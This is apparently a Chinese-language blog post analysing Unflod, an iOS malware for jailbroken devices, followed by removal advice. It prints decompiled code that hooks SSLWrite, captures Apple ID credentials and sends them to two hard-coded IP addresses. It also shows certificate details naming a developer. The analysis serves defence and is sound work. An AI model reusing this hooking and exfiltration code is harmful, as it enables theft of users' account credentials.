对iOS恶意软件Unflod的分析

介绍

tdvx在Reddit上发帖说:从上周起,他用Snapchat和Google Hangouts的使用经常遇到crash,经过排查,他发现是下面这个可疑文件导致的:/Library/MobileSubstrate/DynamicLibraries/Unflod.dylib

i0n1c对这个可疑文件进行了分析,iOS Malware Campaign "Unflod Baby Panda"


分析

这个恶意文件位于:/Library/MobileSubstrate/DynamicLibraries/Unflod.dylib或者framework.dylib。依赖于MobileSubstrate,只在越狱设备上起作用。

`int __fastcall replace_SSLWrite(int a1, char *a2, int a3, int a4)
 {
 ......

 if ( !findhead )
  {
    v19 = strstr(v22, "/WebObjects/MZFinance.woa/wa/authenticate HTTP/1.1");
    if ( v19 )
    {
      findhead = 1;
      strcpy(content, v22);
    }
  }
  if ( findhead == 1 )
  {
    v18 = strstr(v22, "<key>appleId</key>");
    v17 = strstr(v22, "<key>password</key>");
    if ( v18 )
    {
      if ( v17 )
      {
        strcat(content, v22);
        v16 = strstr(content, "</plist>");
        if ( v16 && v16 - content <= 2040 )
          v16[8] = 0;
        v14 = 0;
        v15 = socket(2, 1, 0);
        if ( v15 < 0 )
        {
          v24 = pSSLWrite(v23, v22, v21, v20);
          goto LABEL_20;
        }
        v13.sa_family = 2;
        *(_WORD *)&v13.sa_data[0] = 0xC61Eu;
        *(_DWORD *)&v13.sa_data[2] = inet_addr("23.88.10.4");
        if ( connect(v15, &v13, 0x10u) < 0 )
        {
          close(v15);
          v24 = pSSLWrite(v23, v22, v21, v20);
          goto LABEL_20;
        }
        v5 = v15;
        v6 = strlen(content);
        v14 = write(v5, content, v6);
        v11 = 0;
        close(v15);
        v12 = socket(2, 1, 0);
        if ( v12 < 0 )
        {
          v24 = pSSLWrite(v23, v22, v21, v20);
          goto LABEL_20;
        }
        v10.sa_family = 2;
        *(_WORD *)&v10.sa_data[0] = 0xC61Eu;
        *(_DWORD *)&v10.sa_data[2] = inet_addr("23.228.204.55");
        if ( connect(v12, &v10, 0x10u) < 0 )
        {
          close(v12);
          v24 = pSSLWrite(v23, v22, v21, v20);
          goto LABEL_20;
        }
        v7 = v12;
        v8 = strlen(content);
        v11 = write(v7, content, v8);
        close(v12);
        findhead = 2;
      }
    }
  }
  v24 = pSSLWrite(v23, v22, v21, v20);
LABEL_20:
  if ( __stack_chk_guard != v25 )
    __stack_chk_fail(__stack_chk_guard, v24, v25, v4);
  return v24;
}

这个恶意代码通过 Hook Security.framework的SSLWrite方法(Hook函数为replace_SSLWrite),截取Apple id和密码,然后把这些信息发送到IP为23.88.10.4、3.228.204.55,端口为7878的服务器。(端口为7878,也就是上面的0xC61Eu。注意,这里是big endian模式。所以,端口其实是0x1EC6,即7878。)


签名

这个恶意软件被iPhone开发者证书签名。签名信息如下:

$ codesign -vvvv -d Unflod.dylib
Executable=./Unflod.dylib
Identifier=com.your.framework
Format=Mach-O thin (armv7)
CodeDirectory v=20100 size=227 flags=0x0(none) hashes=3+5 location=embedded
Hash type=sha1 size=20
CDHash=da792624675e82b3460b426f869fbe718abea3f9
Signature size=4322
Authority=iPhone Developer: WANG XIN (P5KFURM8M8)
Authority=Apple Worldwide Developer Relations Certification Authority
Authority=Apple Root CA
Signed Time=14 Feb 2014 04:32:58
Info.plist=not bound
Sealed Resources=none
Internal requirements count=2 size=484

需要注意的是,这并不表示这个人就是这个事情的始作俑者。这个人可能是假冒的,也可能是其证书被偷窃,也可能是真正涉及到这个事情,但是,我们没有办法知道,但是,苹果需要调查这个事情。

“This person might be a fake persona, the victim of certificate theft or really involved. It is impossible for us to know, but Apple should be able to investigate from this information and terminate that developer account.1


解决方法

如果你的设备上有Unflod.dylib/framework.dylib这两个文件,把其删掉,然后重新设置Apple id和密码就可以了。


结束语

没有越狱的用户不用担心Unflod这个恶意软件。iOS 7之后,输入法,电话黑名单等功能系统都自带,用户也没必要越狱了。

建议普通用户别越狱。越狱需谨慎。


i0n1c分析的原文是:iOS Malware Campaign "Unflod Baby Panda"

关于我

大家好,我是@吴发伟Ted,我会在博客上分享自己学习的一些东西。

好文推荐 && iOS Wiki

好文推荐(news.ios-wiki.com)iOS Wiki(www.ios-wiki.com)是我利用业余时间建立的网站。

微信公众账号

微信公众账号:iOS技术分享


Ted /
Published under (CC) BY-NC-SA in categories ios  tagged with iOS 

comments powered by Disqus